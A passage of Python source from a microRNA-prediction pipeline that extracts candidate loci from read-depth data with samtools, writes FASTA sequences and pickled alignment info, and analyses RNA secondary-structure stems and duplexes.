[pre_seqid, start_pos, pre_pos+1, \"+\"]\n else:\n yield [pre_seqid, start_pos, pre_pos+1, \"-\"]\n plus_depth = seperate_depth[0]\n minus_depth = seperate_depth[1]\n start_pos = pos\n pre_pos = pos\n pre_seqid = cur_seqid\n region = []\n\n if pos - pre_pos > 1:\n region.append(cur_seqid)\n region.append(start_pos)\n region.append(pre_pos+1)\n if plus_depth > minus_depth:\n region.append(\"+\")\n else:\n region.append(\"-\")\n yield region\n start_pos = pos\n pre_pos = pos\n region = []\n plus_depth = seperate_depth[0]\n minus_depth = seperate_depth[1]\n else:\n pre_pos = pos\n plus_depth = plus_depth + seperate_depth[0]\n minus_depth = minus_depth + seperate_depth[1]\n if plus_depth > minus_depth:\n yield [cur_seqid, start_pos, pre_pos+1, \"+\"]\n else:\n yield [cur_seqid, start_pos, pre_pos+1, \"-\"]\n try:\n if logger:\n logger.info(\"Generating the depth file using samtools.\")\n samtools_process = subprocess.Popen([\"samtools\",\"depth\",expandedbam_plus, expandedbam_minus], stdout=subprocess.PIPE)\n awk_rule = \"$3+$4>\"+str(dict_option[\"READS_DEPTH_CUTOFF\"])\n awk_process = subprocess.Popen([\"awk\",awk_rule], stdout=subprocess.PIPE, stdin=samtools_process.stdout)\n samtools_process.stdout.close()\n output = awk_process.communicate()[0]\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when generating contigs(typeA).\\n\")\n sys.exit(-1)\n depthfilename = os.path.join(dict_option[\"OUTFOLDER\"],dict_option[\"NAME_PREFIX\"]+\"_tmp\", \"bam.depth.cut\"+str(dict_option[\"READS_DEPTH_CUTOFF\"]))\n f=open(depthfilename,'w')\n f.write(output.decode())\n f.close()\n if logger:\n logger.info(\"Generating contigs.\")\n dict_contigs = {}\n for region in get_next_non_zero_region(depthfilename):\n if region[2] - region[1] < contig_minlen:\n continue\n dict_contigs.setdefault(region[0], []).append((region[1],region[2],region[3]))\n return depthfilename, dict_contigs\n\n\ndef dump_loci_seqs_samtool(dict_loci, fastaname, outputprefix, num_of_proc):\n '''\n Generate num_of_proc fasta files that contains all the loci/extended region sequence.\n\n Return the file names and the number of sequences in each file.\n '''\n\n seqids = sorted(dict_loci.keys())\n num_seq = 0\n total_loci = 0\n for seqid in seqids:\n total_loci += len(dict_loci[seqid])\n # How many loci in one file?\n num_in_one_file = int(total_loci/num_of_proc)\n cur_loci = 0\n cur_fout = 0\n fname = outputprefix+\"_0.fa\"\n fout = open(fname, 'w')\n ret_list = [] # a list of (name, num_of_seq) tuples\n for seqid in seqids:\n for loci in dict_loci[seqid]:\n if cur_loci < num_in_one_file * (cur_fout+1):\n pass\n else:\n cur_fout += 1\n fout.close()\n ret_list.append((fname, num_seq))\n num_seq = 0\n fname = outputprefix+\"_\"+str(cur_fout)+\".fa\"\n fout = open(outputprefix+\"_\"+str(cur_fout)+\".fa\", 'w')\n cur_loci += 1\n plus_seq = []\n minus_seq = []\n plus_tag = []\n minus_tag = []\n loci_pos = str(loci[0][0]) + \"-\" + str(loci[0][1])\n for idx, extendregion in enumerate(loci[1:]):\n region = seqid+\":\"+str(extendregion[0][0])+\"-\"+str(extendregion[0][1]-1)\n command = \"samtools faidx \"+fastaname+\" \"+region\n seq = \"\"\n try:\n samtools_process = subprocess.Popen(command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n outmessage, outerr = samtools_process.communicate()\n seq = str(\"\".join(outmessage.decode().split(\"\\n\")[1:]))\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when cutting loci sequence.\\n\")\n sys.exit(-1)\n strands = set()\n otherinfo = \"\"\n for peak in extendregion[1]:\n strands.add(peak[2])\n otherinfo = otherinfo + str(peak[0])+\",\"+str(peak[1])+\",\"+str(peak[2])+\";\"\n otherinfo = otherinfo.rstrip(\";\")\n seqtag = \"\"\n # a tag indicates which extend region this sequence belongs to.\n # Possible values:\n # \"0\": This loci has only one extend region, and 'seq' is the sequence for the region\n # \"L\": This loci has two extend regions, and 'seq' is the sequence for the left region\n # \"R\": This loci has two extend regions, and 'seq' is the sequence for the right region\n extendregiontag = \" 0 \"\n if len(loci)==3 and idx == 0: # Left side region\n extendregiontag = \" L \"\n elif len(loci)==3 and idx == 1: # Right side region\n extendregiontag = \" R \"\n if len(strands) == 1:\n if \"+\" in strands:\n seqtag = \">\"+region+\" + \"+ loci_pos + extendregiontag + otherinfo+\"\\n\" # >ExtendRegion strand loci 0/L/R peaks\n else:\n seqtag = \">\"+region+\" - \"+ loci_pos + extendregiontag + otherinfo+\"\\n\"\n seq = get_reverse_complement(seq)\n fout.write(seqtag)\n fout.write(seq+\"\\n\")\n num_seq += 1\n continue\n if len(strands) == 2:\n seqtag = \">\"+region+\" + \"+ loci_pos + extendregiontag + otherinfo+\"\\n\"\n plus_tag.append(seqtag)\n plus_seq.append(seq)\n #fout.write(seqtag)\n #fout.write(seq+\"\\n\")\n num_seq += 1\n seq = get_reverse_complement(seq)\n seqtag = \">\"+region+\" - \"+ loci_pos + extendregiontag + otherinfo+\"\\n\"\n minus_tag.append(seqtag)\n minus_seq.append(seq)\n #fout.write(seqtag)\n #fout.write(seq+\"\\n\")\n num_seq += 1\n if len(plus_tag):\n for which, tag in enumerate(plus_tag):\n fout.write(tag)\n fout.write(plus_seq[which]+\"\\n\")\n for which, tag in enumerate(minus_tag):\n fout.write(minus_tag[which])\n fout.write(minus_seq[which]+\"\\n\")\n ret_list.append((fname, num_seq))\n fout.close()\n return ret_list\n\ndef dump_loci_seqs_and_alignment(dict_loci, sortedbamname, fastaname, outputseqprefix, outputalnprefix, num_of_proc):\n '''\n Generate num_of_proc fasta files that contains all the loci/extended region sequence.\n Generate num_of_proc dump files that contains all the loci/extended region alignment infomation.\n\n The entries in the dump file are the same order as in the output fasta files.\n '''\n\n seqids = sorted(dict_loci.keys())\n num_loci = 0\n num_seq = 0\n total_loci = 0\n for seqid in seqids:\n total_loci += len(dict_loci[seqid])\n # How many loci in one file?\n num_in_one_file = int(total_loci/num_of_proc) + 1\n cur_loci = 0\n cur_fout = 0\n fname = outputseqprefix+\"_0.fa\"\n fout = open(fname, 'w')\n fnamedump = outputalnprefix+\"_0.dump\"\n foutdump = open(fnamedump, 'wb')\n ret_list = [] # a list of (name, num_of_seq) tuples\n\n dump_key = None\n dump_value = []\n for seqid in seqids:\n for loci in dict_loci[seqid]:\n num_loci += 1\n if cur_loci < num_in_one_file * (cur_fout+1):\n pass\n else:\n cur_fout += 1\n fout.close()\n #ret_list.append((fname, num_seq))\n ret_list.append((fname, fnamedump))\n fname = outputseqprefix+\"_\"+str(cur_fout)+\".fa\"\n fout = open(fname, 'w')\n fnamedump = outputalnprefix+\"_\"+str(cur_fout)+\".dump\"\n foutdump = open(fnamedump, 'wb')\n cur_loci += 1\n plus_seq = []\n minus_seq = []\n plus_tag = []\n minus_tag = []\n\n plus_dumpinfo = []\n minus_dumpinfo = []\n loci_pos = str(loci[0][0]) + \"-\" + str(loci[0][1])\n for idx, extendregion in enumerate(loci[1:]):\n #extendregion is [), but faidx is []\n region = seqid+\":\"+str(extendregion[0][0])+\"-\"+str(extendregion[0][1]-1)\n regionpos = seqid+\":\"+str(extendregion[0][0])+\"-\"+str(extendregion[0][1])\n command = \"samtools faidx \"+fastaname+\" \"+region\n seq = \"\"\n try:\n samtools_process = subprocess.Popen(command.split(),stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n outmessage, outerr = samtools_process.communicate()\n seq = str(\"\".join(outmessage.decode().split(\"\\n\")[1:]))\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when cutting loci sequence.\\n\")\n sys.exit(-1)\n strands = set()\n otherinfo = \"\"\n for peak in extendregion[1]:\n strands.add(peak[2])\n otherinfo = otherinfo + str(peak[0])+\",\"+str(peak[1])+\",\"+str(peak[2])+\";\"\n otherinfo = otherinfo.rstrip(\";\")\n seqtag = \"\"\n # a tag indicates which extend region this sequence belongs to.\n # Possible values:\n # \"0\": This loci has only one extend region, and 'seq' is the sequence for the region\n # \"L\": This loci has two extend regions, and 'seq' is the sequence for the left region\n # \"R\": This loci has two extend regions, and 'seq' is the sequence for the right region\n extendregiontag = \" 0 \"\n if len(loci)==3 and idx == 0: # Left side region\n extendregiontag = \" L \"\n elif len(loci)==3 and idx == 1: # Right side region\n extendregiontag = \" R \"\n if len(strands) == 1:\n if \"+\" in strands:\n seqtag = \">\"+regionpos+\" + \"+ loci_pos + extendregiontag + otherinfo+\"\\n\" # >ExtendRegion strand loci 0/L/R peaks\n dump_key = [seqid, (extendregion[0][0],extendregion[0][1]), \"+\"]\n else:\n seqtag = \">\"+regionpos+\" - \"+ loci_pos + extendregiontag + otherinfo+\"\\n\"\n dump_key = [seqid, (extendregion[0][0],extendregion[0][1]), \"-\"]\n seq = get_reverse_complement(seq)\n fout.write(seqtag)\n fout.write(seq+\"\\n\")\n num_seq += 1\n alignments = samtools_view_region(sortedbamname, seqid,\n extendregion[0][0],\n extendregion[0][1])\n dict_loci_info = gen_loci_alignment_info(alignments, seqid, extendregion)\n matures = gen_possible_matures_loci(dict_loci_info, extendregion)\n cPickle.dump([dump_key, extendregiontag.strip(), dict_loci_info, matures], foutdump, protocol=2)\n continue\n if len(strands) == 2:\n seqtag = \">\"+regionpos+\" + \"+ loci_pos + extendregiontag + otherinfo+\"\\n\"\n plus_tag.append(seqtag)\n plus_seq.append(seq)\n #fout.write(seqtag)\n #fout.write(seq+\"\\n\")\n num_seq += 1\n seq = get_reverse_complement(seq)\n seqtag = \">\"+regionpos+\" - \"+ loci_pos + extendregiontag + otherinfo+\"\\n\"\n minus_tag.append(seqtag)\n minus_seq.append(seq)\n num_seq += 1\n\n alignments = samtools_view_region(sortedbamname, seqid,\n extendregion[0][0],\n extendregion[0][1])\n dict_loci_info = gen_loci_alignment_info(alignments, seqid, extendregion)\n matures = gen_possible_matures_loci(dict_loci_info, extendregion)\n dump_key = [seqid, (extendregion[0][0],extendregion[0][1]), \"+\"]\n plus_dumpinfo.append([dump_key, extendregiontag.strip(), dict_loci_info, matures])\n dump_key = [seqid, (extendregion[0][0],extendregion[0][1]), \"-\"]\n minus_dumpinfo.append([dump_key, extendregiontag.strip(), dict_loci_info, matures])\n\n #fout.write(seqtag)\n #fout.write(seq+\"\\n\")\n\n if len(plus_tag):\n for which, tag in enumerate(plus_tag):\n fout.write(tag)\n fout.write(plus_seq[which]+\"\\n\")\n cPickle.dump(plus_dumpinfo[which], foutdump, protocol=2)\n for which, tag in enumerate(minus_tag):\n fout.write(minus_tag[which])\n fout.write(minus_seq[which]+\"\\n\")\n cPickle.dump(minus_dumpinfo[which], foutdump, protocol=2)\n ret_list.append((fname, fnamedump))\n fout.close()\n return num_loci, num_seq, ret_list\n\ndef dump_loci_seqs_and_alignment_multiprocess(dict_loci, piece_info_list,\n sortedbamname, fastaname,\n outputseqprefix, outputalnprefix,\n logger):\n def dump_piece(dict_loci, piece_info_list,sortedbamname, fastaname,\n outputfastaname, outputalnname, queue):\n fout = open(outputfastaname,'w')\n foutdump = open(outputalnname,'w')\n dump_key = None\n num_seq = 0\n num_loci = 0\n for seqid in piece_info_list[0]:\n start = 0\n end = len(dict_loci[seqid])\n if piece_info_list[0][0] == seqid: # the first seqid\n start = piece_info_list[1][0]\n if piece_info_list[0][-1] == seqid: # the last seqid\n end = piece_info_list[1][1]\n for loci in dict_loci[seqid][start:end]:\n num_loci += 1\n plus_seq = []\n minus_seq = []\n plus_tag = []\n minus_tag = []\n\n plus_dumpinfo = []\n minus_dumpinfo = []\n loci_pos = str(loci[0][0]) + \"-\" + str(loci[0][1])\n for idx, extendregion in enumerate(loci[1:]):\n #extendregion is [), but faidx is []\n region = seqid+\":\"+str(extendregion[0][0])+\"-\"+str(extendregion[0][1]-1)\n regionpos = seqid+\":\"+str(extendregion[0][0])+\"-\"+str(extendregion[0][1])\n command = \"samtools faidx \"+fastaname+\" \"+region\n seq = \"\"\n try:\n samtools_process = subprocess.Popen(command.split(),stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n outmessage, outerr = samtools_process.communicate()\n seq = str(\"\".join(outmessage.decode().split(\"\\n\")[1:]))\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when cutting loci sequence.\\n\")\n sys.exit(-1)\n strands = set()\n otherinfo = \"\"\n for peak in extendregion[1]:\n strands.add(peak[2])\n otherinfo = otherinfo + str(peak[0])+\",\"+str(peak[1])+\",\"+str(peak[2])+\";\"\n otherinfo = otherinfo.rstrip(\";\")\n seqtag = \"\"\n extendregiontag = \" 0 \"\n if len(loci)==3 and idx == 0: # Left side region\n extendregiontag = \" L \"\n elif len(loci)==3 and idx == 1: # Right side region\n extendregiontag = \" R \"\n if len(strands) == 1:\n if \"+\" in strands:\n seqtag = \">\"+regionpos+\" + \"+ loci_pos + extendregiontag + otherinfo+\"\\n\" # >ExtendRegion strand loci 0/L/R peaks\n dump_key = [seqid, (extendregion[0][0],extendregion[0][1]), \"+\"]\n else:\n seqtag = \">\"+regionpos+\" - \"+ loci_pos + extendregiontag + otherinfo+\"\\n\"\n dump_key = [seqid, (extendregion[0][0],extendregion[0][1]), \"-\"]\n seq = get_reverse_complement(seq)\n fout.write(seqtag)\n fout.write(seq+\"\\n\")\n num_seq += 1\n alignments = samtools_view_region(sortedbamname, seqid,\n extendregion[0][0],\n extendregion[0][1])\n dict_loci_info = gen_loci_alignment_info(alignments, seqid, extendregion)\n matures = gen_possible_matures_loci(dict_loci_info, extendregion)\n cPickle.dump([dump_key, extendregiontag.strip(), dict_loci_info, matures], foutdump, protocol=2)\n continue\n if len(strands) == 2:\n seqtag = \">\"+regionpos+\" + \"+ loci_pos + extendregiontag + otherinfo+\"\\n\"\n plus_tag.append(seqtag)\n plus_seq.append(seq)\n num_seq += 1\n seq = get_reverse_complement(seq)\n seqtag = \">\"+regionpos+\" - \"+ loci_pos + extendregiontag + otherinfo+\"\\n\"\n minus_tag.append(seqtag)\n minus_seq.append(seq)\n num_seq += 1\n alignments = samtools_view_region(sortedbamname, seqid,\n extendregion[0][0],\n extendregion[0][1])\n dict_loci_info = gen_loci_alignment_info(alignments, seqid, extendregion)\n matures = gen_possible_matures_loci(dict_loci_info, extendregion)\n dump_key = [seqid, (extendregion[0][0],extendregion[0][1]), \"+\"]\n plus_dumpinfo.append([dump_key, extendregiontag.strip(), dict_loci_info, matures])\n dump_key = [seqid, (extendregion[0][0],extendregion[0][1]), \"-\"]\n minus_dumpinfo.append([dump_key, extendregiontag.strip(), dict_loci_info, matures])\n if len(plus_tag):\n for which, tag in enumerate(plus_tag):\n fout.write(tag)\n fout.write(plus_seq[which]+\"\\n\")\n cPickle.dump(plus_dumpinfo[which], foutdump, protocol=2)\n for which, tag in enumerate(minus_tag):\n fout.write(minus_tag[which])\n fout.write(minus_seq[which]+\"\\n\")\n cPickle.dump(minus_dumpinfo[which], foutdump, protocol=2)\n fout.close()\n foutdump.close()\n queue.put(((outputfastaname, outputalnname), num_loci, num_seq))\n queue.close()\n\n if logger:\n logger.info(\"Generating candidate loci fasta sequences and loci reads alignment information. \"\n +str(len(piece_info_list))+\" parallel processes.\")\n inforqueue = multiprocessing.Queue()\n jobs = []\n finalresult = []\n for i in range(len(piece_info_list)):\n fname = outputseqprefix+\"_\"+str(i)+\".fa\"\n fnamedump = outputalnprefix+\"_\"+str(i)+\".dump\"\n p = multiprocessing.Process(target = dump_piece, args=(dict_loci,\n piece_info_list[i],\n sortedbamname,\n fastaname,\n fname,\n fnamedump,\n inforqueue))\n p.start()\n jobs.append(p)\n total_loci = 0\n total_seq = 0\n for job in jobs:\n job.join()\n info = inforqueue.get()\n total_loci += info[1]\n total_seq += info[2]\n finalresult.append(info[0])\n finalresult.sort()\n return total_loci, total_seq, finalresult\n\ndef gen_candidate_region_typeA(dict_contigs, dict_len, dict_option, tmpdir,\n logger):\n '''\n Connect contigs that have a distance smaller than MAX_GAP.\n\n dict_loci structure:\n key: seqid\n value: a list of regioninfo. A regioninfo is:\n [region, (extendedregion1, peaks1), (extendedregion2, peaks2)]\n '''\n def next_region_typeA(contiglist, maxgap):\n if len(contiglist) == 0:\n raise StopIteration\n r_now = contiglist[0]\n r_peak = [contiglist[0]]\n for i in xrange(1,len(contiglist)):\n r_next = contiglist[i]\n if r_next[0] - r_now[1] < maxgap:\n r_now = (r_now[0], r_next[1])\n r_peak.append(contiglist[i])\n else:\n yield r_now, r_peak\n r_now = r_next\n r_peak = [contiglist[i]]\n yield r_now, r_peak\n\n def extend_region(region, max_transcript, seqlen):\n length = region[1] - region[0]\n if length > max_transcript + 50: #if the region is too long, ignore it.\n return []\n if length > max_transcript:\n return [region]\n if length < 60: #shortest precursor is about 60\n leftstart = region[0] - (max_transcript-length-25)-25\n if leftstart<0:\n leftstart=0\n leftend = region[1] + 25\n if leftend > seqlen:\n leftend = seqlen\n rightstart = region[0] - 25\n if rightstart < 0:\n rightstart = 0\n rightend = region[1] + (max_transcript-length-25) + 25\n if rightend > seqlen:\n rightend = seqlen\n return [(leftstart, leftend), (rightstart, rightend)]\n else:\n left = region[0] - 25\n right = region[1] + 25\n if left < 0:\n left = 0\n if right > seqlen:\n right = seqlen\n return [(left, right)]\n\n dict_loci = {}\n total_loci = 0 # the number of loci\n if logger:\n logger.info(\"Connect contigs that have a distance smaller than MAX_GAP.\")\n for seqID in sorted(dict_contigs): #regions in the dict are already sorted.\n dict_loci[seqID] = [] # changed to a list, this preserves the order.\n for region, peaks in next_region_typeA(dict_contigs[seqID], dict_option[\"MAX_GAP\"]):\n regioninfo = [region] # [region, (extendedregion1, peaks1), (extendedregion2, peaks2)]\n for extendedregion in extend_region(region, dict_option[\"PRECURSOR_LEN\"], dict_len[seqID]):\n regioninfo.append((extendedregion, peaks))\n if len(regioninfo) > 1: # this means the previous for loop was executed at least once.\n dict_loci[seqID].append(regioninfo)\n total_loci += 1\n # generate information for using multiple processes to dumping loci info in\n # the next step. For each piece, we record the seq IDs the piece have, and\n # the start index and end index in the first seqid and the last seqid. Then\n # the process for the piece will process loci from first_seqid[start] to\n # last_seqid[end]. The info is recorded in a list. The list has\n # NUM_OF_CORE values. Each element of the list is an two element (A and B)\n # list. A is a list of all seq IDs for this piece (ordered). B is a 2-tuple\n # contains the start and the end index for this piece\n num_each_piece = int(total_loci/dict_option[\"NUM_OF_CORE\"]) + 1\n piece_info = []\n cur_piece = 0\n cur_loci = 0\n cur_pieceinfo = [[], [0,0]]\n cur_start = 0\n cur_end = 0\n cur_id = 0\n for seqID in sorted(dict_loci):\n cur_id = seqID\n cur_pieceinfo[0].append(seqID)\n for idx, loci in enumerate(dict_loci[seqID]):\n cur_loci += 1\n if cur_loci < num_each_piece * (cur_piece + 1):\n pass\n else:\n cur_end = idx\n cur_pieceinfo[1][0] = cur_start\n cur_pieceinfo[1][1] = cur_end\n piece_info.append(cur_pieceinfo)\n cur_start = idx\n cur_pieceinfo = [[seqID], [cur_end,0]]\n cur_piece += 1\n if len(piece_info)loci[0][1]:\n continue\n depth = int(sp[0].split(\"-\")[-1]) # read names must be in \"name-depth\" format\n strand = \"+\"\n if int(sp[1]) & 16: # on minus strand\n strand = \"-\"\n cur_seqid = sp[2]\n if cur_seqid != seqid: # This should not happen\n continue\n readlen = len(sp[9])\n value = (readlen, depth)\n if startpos in dict_loci_info[0]:\n if strand in dict_loci_info[0][startpos]:\n dict_loci_info[0][startpos][strand][1].append(value)\n dict_loci_info[0][startpos][strand][0][2] += depth\n dict_loci_info[strand] += depth\n if depth > dict_loci_info[0][startpos][strand][0][1]:\n dict_loci_info[0][startpos][strand][0][0] = readlen\n dict_loci_info[0][startpos][strand][0][1] = depth\n else: # There is an entry for this position, but not for the strand\n dict_loci_info[0][startpos][strand] = [[readlen, depth, depth],[(readlen, depth)]]\n dict_loci_info[strand] = +depth\n else: # There is no entry for this position, create one.\n dict_pos_info = {strand: [[readlen, depth, depth],[(readlen, depth)]]\n }\n dict_loci_info[0][startpos] = dict_pos_info\n dict_loci_info[strand] += depth\n return dict_loci_info\n\n\ndef gen_possible_matures_loci(dict_loci_info, loci):\n ret_matures = []\n for start, end, strand in loci[1]:\n mature_depth = 0\n mature_length = 0\n mature_pos = 0\n for pos in xrange(start,end):\n if pos in dict_loci_info[0]:\n if strand in dict_loci_info[0][pos]:\n if dict_loci_info[0][pos][strand][0][1] > mature_depth:\n mature_depth = dict_loci_info[0][pos][strand][0][1]\n mature_length = dict_loci_info[0][pos][strand][0][0]\n mature_pos = pos\n mature = (mature_pos, mature_pos+mature_length, strand, mature_depth)\n ret_matures.append(mature)\n return ret_matures\n\n\n\n########################################################################\n## test mature region\n########################################################################\ndef test_mature_region(dict_loci, dict_option, sortedbamname, outputname):\n outf = open(outputname, 'w')\n count = 0\n for seqid in dict_loci:\n for startpos in dict_loci[seqid]:\n loci_start = dict_loci[seqid][startpos][0][0]\n loci_end = dict_loci[seqid][startpos][0][1]\n alignments = samtools_view_region(sortedbamname, seqid, loci_start, loci_end)\n dict_loci_info = gen_loci_alignment_info(alignments, seqid, dict_loci[seqid][startpos])\n matures = gen_possible_matures_loci(dict_loci_info, dict_loci[seqid][startpos])\n for start, end, strand, depth in matures:\n name = \"mature_\"+str(count)\n count += 1\n otherinfo = \"depth=\"+str(depth)\n write_gff_line(seqid, start, end, strand, name, name, feature=\"Mature\", other=otherinfo, fout=outf)\n gc.collect()\n outf.close()\n return outputname\n\n\n########################################################################\n# Structure related functions\n########################################################################\n\ndef get_structures_next_extendregion(rnalfoldoutname, minlen,\n minloop=3):\n '''\n Parse the RNALfold output file, return a list of (0/L/R, structure,\n norm_energy) tuples for an extend region each time (generator).\n\n Structure whose length is shorter than minlen are filtered.\n\n '''\n\n energypattern = re.compile(r'\\(\\s*(-?[0-9]+[\\.]?[0-9]*)\\s*\\)')\n structures = []\n which = 0\n first = True\n sp=[]\n with open(rnalfoldoutname) as f:\n for line in f:\n sp = line.strip().split()\n if line.startswith(\">\"):\n if not first:\n yield (which, structures)\n structures = []\n which = sp[3] # 0, L, or R\n first = False\n else:\n if len(sp) >=3: # structure line\n if len(sp[0]) < minlen:\n continue\n elif (not is_stem_loop(sp[0],minloop)) and (not has_one_good_bifurcation(sp[0])):\n continue\n norm_energy = energypattern.search(line).group(1)\n norm_energy = float(norm_energy)/len(sp[0])\n structures.append((norm_energy,int(sp[-1]), sp[0]))\n else:\n continue\n yield (which, structures)\n\n\ndef is_stem_loop(ss, minloopsize):\n last_open = ss.rfind(\"(\")\n first_close = ss.find(\")\")\n if first_close - last_open-1 >= minloopsize:\n return True\n else:\n return False\n\n\ndef has_one_good_bifurcation(ss):\n # not an stem loop, but a structure with two bifurcation: (()()).\n bifurcation = 0\n stack = []\n last = 'Push'\n stack_pos = []\n first_bi_last = 0\n second_bi_first = 0\n last_pos = 0\n dict_pos = {}\n for idx, char in enumerate(ss):\n if char == '(':\n if idx !=0:\n if not stack:\n if last == 'Pop': # ()() like structure\n return False\n last = \"Push\"\n stack.append(char)\n stack_pos.append(idx)\n last_pos = idx\n else: # stack is not empty\n if last == \"Pop\":\n if bifurcation >= 1:\n return False\n else:\n bifurcation = 1\n first_bi_last = last_pos\n second_bi_first = idx\n stack.append(char)\n last = \"Push\"\n stack_pos.append(idx)\n last_pos = idx\n else:\n stack.append(char)\n last = \"Push\"\n stack_pos.append(idx)\n last_pos = idx\n elif char == \")\":\n last = \"Pop\"\n stack.pop()\n v = stack_pos.pop()\n dict_pos[idx] = v\n dict_pos[v] = idx\n last_pos = idx\n if float(dict_pos[second_bi_first]-dict_pos[first_bi_last])/len(ss) < 0.5:\n if float(dict_pos[first_bi_last])/len(ss) > 0.25:\n if float(dict_pos[second_bi_first])/len(ss) < 0.75:\n return True\n return False\n\n\ndef pos_genome_2_local(genomestart, genomeend, strand, regionstart, regionend,\n foldstart, foldend):\n '''\n Convert genome coordinate to local structure coordinate.\n\n Local coordinate is 0 based, starts from foldstart.\n NOTE: All the regions are [start, end). That is, the start is inclusive and\n the end is exclusive.\n -------------------------------------------------------------------> genome\n |>----------------->------------------->------------>| extend region\n regionstart regionend (genome coordinate, start at 1)\n |--------------------------------->| folded region\n foldstart foldend (regionstart is 1)\n |------------>|\n localstart localend (local coordinate, foldstart is 0)\n genomestart genomeend (genome coordinate, start at 1)\n\n If strand is \"+\":\n genomestart = regionstart + foldstart - 1 + localstart\n genomeend = regionstart + foldstart -1 + localend\n\n If strand is \"-\":\n\n -------------------------------------------------------------------> genome\n |<-----------------<-------------------<------------<| extend region\n regionstart regionend (genome coordinate)\n |<---------------------------------<| folded region\n foldend foldstart\n |<------------|\n localend localstart (local coordinate, foldstart is 0)\n genomestart genomeend (genome coordinate)\n\n genomestart = regionend-1 - foldstart+1 -localend+1\n genomeend = regionend-1 - foldstart+1 - localstart+1\n\n Note that genomestart corresponds to regionend, genomeend corresponds to\n regionend when strand is \"-\".\n '''\n if strand == \"+\":\n return (genomestart-regionstart-foldstart+1, genomeend-regionstart-foldstart+1)\n else:\n return (regionend-genomeend-foldstart+1, regionend-genomestart-foldstart+1)\n\n\ndef pos_local_2_genome(localstart, localend, strand, regionstart, regionend,\n foldstart, foldend):\n '''\n Convert local structure coordinate to genome coordinate.\n\n NOTE: All the regions are [start, end). That is, the start is inclusive and\n the end is exclusive.\n\n -------------------------------------------------------------------> genome\n |>----------------->------------------->------------>| extend region\n regionstart regionend (genome coordinate, start at 1)\n |--------------------------------->| folded region\n foldstart foldend (regionstart is 1)\n |------------>|\n localstart localend (local coordinate, foldstart is 0)\n genomestart genomeend (genome coordinate, start at 1)\n\n If strand is \"+\":\n genomestart = regionstart + foldstart - 1 + localstart\n genomeend = regionstart + foldstart -1 + localend\n\n\n If strand is \"-\":\n -------------------------------------------------------------------> genome\n |<-----------------<-------------------<------------<| extend region\n regionstart regionend (genome coordinate)\n |<---------------------------------<| folded region\n foldend foldstart (regionend-1 is 1)\n |<------------|\n localend localstart (local coordinate, foldstart is 0)\n genomestart genomeend (genome coordinate)\n\n genomestart = regionend-1 - foldstart+1 -localend+1\n genomeend = regionend-1 - foldstart+1 - localstart+1\n\n Note that genomestart corresponds to regionend, genomeend corresponds to\n regionend when strand is \"-\".\n '''\n if strand == \"+\":\n return (regionstart+foldstart-1+localstart, regionstart+foldstart-1+localend)\n else:\n return (regionend-foldstart-localend+1, regionend-foldstart-localstart+1)\n\ndef stat_duplex(mature, star):\n dict_bp = {}\n ss = mature + star\n openpos = ss.find(\"(\")\n closepos = ss.find(\")\")\n openchar = \"(\"\n closechar = \")\"\n bulges = []\n loops = []\n if openpos > closepos:\n openchar = \")\"\n closechar = \"(\"\n stack = []\n for idx, char in enumerate(ss):\n if char == openchar:\n stack.append(idx)\n elif char == closechar:\n pos = stack.pop()\n dict_bp[pos] = idx\n keys = sorted(dict_bp.keys())\n for i in range(len(keys)-1):\n if (keys[i+1]-keys[i]==1) and (dict_bp[keys[i]]-dict_bp[keys[i+1]]==1):\n continue\n else:\n maturebulgesize = keys[i+1]-keys[i]-1\n starbulgesize = dict_bp[keys[i]]-dict_bp[keys[i+1]]-1\n if maturebulgesize == starbulgesize:\n loops.append(maturebulgesize)\n else:\n bulges.append((maturebulgesize, starbulgesize))\n return loops, bulges\n\ndef pass_stat_duplex(loops, bulges):\n total = len(loops) + len(bulges)\n if total > 5:\n return False\n num_loop_bigger_than_three = 0\n num_bulge_bigger_than_three = 0\n for size in loops:\n if size >= 4:\n num_loop_bigger_than_three += 1\n for size1, size2 in bulges:\n if size1>=4 or size2>=4:\n num_bulge_bigger_than_three += 1\n if num_loop_bigger_than_three >1 or num_bulge_bigger_than_three >0:\n return False\n return True\n\n\ndef get_maturestar_info(ss, mature, foldstart, foldend, regionstart, regionend,\n strand):\n\n '''\n mature format is [maturestart, matureend) in GENOME coordinate.\n\n Make sure the mature is in one arm of a stem.\n '''\n\n dict_bp = {} #\n stack = []\n for idx, char in enumerate(ss):\n if char ==\"(\":\n stack.append(idx)\n if char == \")\":\n if len(stack) == 0:\n return None\n dict_bp[idx] = stack[-1]\n dict_bp[stack[-1]] = idx\n stack.pop()\n\n # zero started\n mature_local_pos = pos_genome_2_local(mature[0], mature[1], strand,\n regionstart, regionend, foldstart,\n foldend)\n foldregion_genome = pos_local_2_genome(0, len(ss), strand,\n regionstart, regionend, foldstart,\n foldend)\n # mature not in the fold region\n if not (mature[0]>=foldregion_genome[0] and mature[1]<=foldregion_genome[1]):\n return None\n\n mature_ss = ss[mature_local_pos[0]:mature_local_pos[1]]\n # Not in a arm of a stem, return None. This should not happen given\n # that the mature is already in an arm of a stem.\n if mature_ss.find(\"(\")!=-1 and mature_ss.find(\")\")!=-1:\n return None\n if len(mature_ss) - mature_ss.count(\".\") <14:\n return None\n\n\n # local positions\n star_start = 0\n star_end = 0\n star_ss = \"\"\n mature_sym = \"(\"\n\n firstbp = ss.find(\"(\", mature_local_pos[0], mature_local_pos[1])\n lastbp = ss.rfind(\"(\", mature_local_pos[0], mature_local_pos[1])\n prime5 = True\n if firstbp == -1:\n firstbp = ss.find(\")\",mature_local_pos[0], mature_local_pos[1])\n lastbp = ss.rfind(\")\",mature_local_pos[0], mature_local_pos[1])\n prime5 = False\n mature_sym = \")\"\n if firstbp == -1: # all are dots\n return None\n\n start_unpaired_len = mature_local_pos[1]-1-lastbp\n end_unpaired_len = firstbp-mature_local_pos[0]\n star_start = dict_bp[lastbp] -start_unpaired_len + 2\n star_end = dict_bp[firstbp] + end_unpaired_len + 2 + 1 # +1 because the end pos is exclusive\n\n #mature and star could overlap...\n if mature_local_pos[0] <= star_start:\n if star_start - mature_local_pos[1] < 3:\n return None\n if star_end > len(ss):\n return None\n if star_start <= 